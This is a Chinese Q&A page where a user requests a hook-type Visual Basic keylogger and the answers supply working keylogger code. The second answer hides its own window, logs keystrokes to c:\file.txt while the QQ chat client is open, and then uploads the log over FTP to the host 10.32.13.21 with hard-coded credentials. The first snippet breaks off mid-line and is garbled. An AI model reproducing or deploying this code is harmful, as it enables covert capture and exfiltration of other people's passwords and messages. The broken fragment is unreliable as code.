永发信息网

VB记录键盘~~~急

答案:3  悬赏:50  手机版
解决时间 2021-08-01 09:50

就是记录到ABCDEFG后把它一个个写到一个记事本中!

要钩子类型的!

能区分大小写最好;了!

最佳答案
是自己写软件拨
全部回答

GetKetState键盘记录

Private Sub Command1_Click() Call StartHook End Sub Private Sub Command2_Click() Call StopHook End Sub Private Sub Form_Unload(Cancel As Integer) Call StopHook End Sub

加个模块!!!!!!!!!!!

名为:Module1

Option Explicit Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Public blnExit As Boolean Public Sub StartHook() Dim i As Integer On Error Resume Next For i = 1 To 256 GetAsyncKeyState i Next i blnExit = False Do While Not blnExit For i = &H8 To &H7B If (GetAsyncKeyState(i) And &H7FFF) <> 0 Then Select Case i Case &H30 To &H39, &H41 To &H5A '0-9,A-Z Form1.Text1.Text = Form1.Text1.Text & Chr(i) Case &H60 To &H69 '小键盘的0-9 Form1.Text1.Text = Form1.Text1.Text & Chr(i - 48) Case &H70 To &H7B 'F1~F12 Form1.Text1.Text = Form1.Text1.Text & "{F" & i -

Private Sub Form_Load() Dim txt Hide Open "c:\file.txt" For Output As 1 End Sub

Private Sub Timer2_Timer() Dim winHwnd As Long Dim RetVal As Long winHwnd = FindWindow(vbNullString, "QQ") 'Debug.Print winHwnd If winHwnd <> 0 Then 'MsgBox "kai" Timer3.Enabled = True Timer2.Enabled = False

End If

End Sub

Private Sub Timer1_Timer() Dim i As Integer, key As Integer 'Dim addkey key = GetAsyncKeyState(13) If key = -32767 Then 'Debug.Print key 'Debug.Print Chr(13) Print #1, "回车" End If 'enter key = GetAsyncKeyState(17) If key = -32767 Then 'Debug.Print key 'Debug.Print Chr(13) Write #1, "Ctrl" End If 'ctrl

key = GetAsyncKeyState(8) If key = -32767 Then 'Debug.Print key 'Debug.Print Chr(13) Print #1, "退格键" End If 'ctrl

key = GetAsyncKeyState(49) If key = -32767 Then Debug.Print key Debug.Print Chr(49) Write #1, Chr(49) End If '1 key = GetAsyncKeyState(50) If key = -32767 Then Print #1, Chr(50) End If '2 key = GetAsyncKeyState(51) If key = -32767 Then Print #1, Chr(51) End If '3 key = GetAsyncKeyState(52) If key = -32767 Then Print #1, Chr(52) End If '4 key = GetAsyncKeyState(53) If key = -32767 Then Print #1, Chr(53) End If '5 key = GetAsyncKeyState(54) If key = -32767 Then Print #1, Chr(54) End If '6 key = GetAsyncKeyState(55) If key = -32767 Then Print #1, Chr(55) End If '7 key = GetAsyncKeyState(56) If key = -32767 Then Print #1, Chr(56) End If '8 key = GetAsyncKeyState(57) If key = -32767 Then Print #1, Chr(57) End If '9 key = GetAsyncKeyState(48) If key = -32767 Then Print #1, Chr(48) End If '10 key = GetAsyncKeyState(65) If key = -32767 Then Print #1, Chr(65) End If 'A key = GetAsyncKeyState(66) If key = -32767 Then Print #1, Chr(66) End If 'b key = GetAsyncKeyState(67) If key = -32767 Then Print #1, Chr(67) End If 'c key = GetAsyncKeyState(68) If key = -32767 Then Print #1, Chr(68) End If 'd key = GetAsyncKeyState(69) If key = -32767 Then Print #1, Chr(69) End If 'e key = GetAsyncKeyState(70) If key = -32767 Then Print #1, Chr(70) End If 'f key = GetAsyncKeyState(71) If key = -32767 Then Print #1, Chr(71) End If 'g key = GetAsyncKeyState(72) If key = -32767 Then Print #1, Chr(72) End If 'h key = GetAsyncKeyState(73) If key = -32767 Then Print #1, Chr(73) End If 'i key = GetAsyncKeyState(74) If key = -32767 Then Print #1, Chr(74) End If 'j key = GetAsyncKeyState(75) If key = -32767 Then Print #1, Chr(75) End If 'k key = GetAsyncKeyState(76) If key = -32767 Then Print #1, Chr(76) End If 'l key = GetAsyncKeyState(77) If key = -32767 Then Print #1, Chr(77) End If 'm key = GetAsyncKeyState(78) If key = -32767 Then Print #1, Chr(78) End If 'n key = GetAsyncKeyState(79) If key = -32767 Then Print #1, Chr(79) End If 'o key = GetAsyncKeyState(80) If key = -32767 Then Print #1, Chr(80) End If 'p key = GetAsyncKeyState(81) If key = -32767 Then Print #1, Chr(81) End If 'q key = GetAsyncKeyState(82) If key = -32767 Then Print #1, Chr(82) End If 'r key = GetAsyncKeyState(83) If key = -32767 Then Print #1, Chr(83) End If 's key = GetAsyncKeyState(84) If key = -32767 Then Print #1, Chr(84) End If 't key = GetAsyncKeyState(85) If key = -32767 Then Print #1, Chr(85) End If 'u key = GetAsyncKeyState(86) If key = -32767 Then Print #1, Chr(86) End If 'v key = GetAsyncKeyState(87) If key = -32767 Then Print #1, Chr(87) End If 'w key = GetAsyncKeyState(88) If key = -32767 Then Print #1, Chr(88) End If 'x key = GetAsyncKeyState(89) If key = -32767 Then Print #1, Chr(89) End If 'y key = GetAsyncKeyState(90) If key = -32767 Then Print #1, Chr(90) End If 'z

End Sub

Private Sub Timer3_Timer() Dim winHwnd As Long Dim RetVal As Long winHwnd = FindWindow(vbNullString, "pcscm") Debug.Print winHwnd If winHwnd = 0 Then 'MsgBox "guan"

'Unload Me Close #1 'Shell ("cmd /c net send 10.32.13.23 aa ") 'Shell ("cmd /c copy c:\file.txt d:\aa.txt") 'Close #1 'Inet1.Execute " ftp://10.32.13.21" 'Inet1.Execute , "ssv" 'Inet1.Execute , "3049" 'Inet1.Execute , "bin" 'Inet1.Execute , "put" & "d:\aa.txt" Dim strCommand As String 'strCommand = " ftp://10.32.13.21@ssv,3049" + vbCrLf strCommand = Winsock1.LocalIP Debug.Print strCommand 'strCommand = "PUT " + "d:\aa.txt" + vbCrLf ''GET 为FTP命令 取得文件 'Winsock1.SendData strCommand 'Inet1.Execute " ftp://10.32.13.21@ssv,3049", "put d:\aa.txt"

With Inet1 .URL = " ftp://10.32.13.21" .UserName = "ssv" .Password = "3049" ' .Execute , "put c:\file.txt /abc" + strCommand + ".txt" End With Sleep 2000 Timer3.Enabled = False Unload Me

End If End Sub

我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
西陵区宜昌市商业银行24小时自助银行(东湖支
小孩不想走路是怎么回事
口袋妖怪日月用什么玩,3DS玩口袋妖怪怎么删档
做不成恋人能做朋友吗?有必要吗?
晚上肚子饿、不想起来怎麽办。。
近半年未来半年,容祖儿有到湛江开过演唱会?
柘城县商丘惠普科技这个地址怎么能查询到,着
请高人推荐一款适合老年人炒股用的手机,价格
怎样让药吃多的人口中没有药味,吃什么都香
1988年农历三月十六出生我想请塔罗帮我算算婚
好好学习 天天向上
1。为“农家乐”接待方设计一条宣传标语
杞县开封郑州英子艺术幼儿园杞县分园地址是什
狗狗快去了,怎么埋葬它?
谁能给我个qq网吧已经注册完的用户名、密码?
推荐资讯
驿城区驻马店驿城区橡林办事处张楼社区卫生服
写轮眼?我眼睛里有个逗号眼球还是红色的
大学英语二级考试一年有几次?
上海女孩会喜欢比较矮的男生吗?
全身无力出汗会是甲流吗
在编辑文本时,怎样让Word编辑窗口变成全屏幕?
磁盘有些文件无法删除,而且无法粉碎.也不能格
找个QQ西游记激活码
刚更新的dnf雪碧1.51怎么不稳定
QQ堂录像怎么上传
什么游戏不联网也能玩?
甲肝疫苗打过已经过了三年,用不用在打
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ?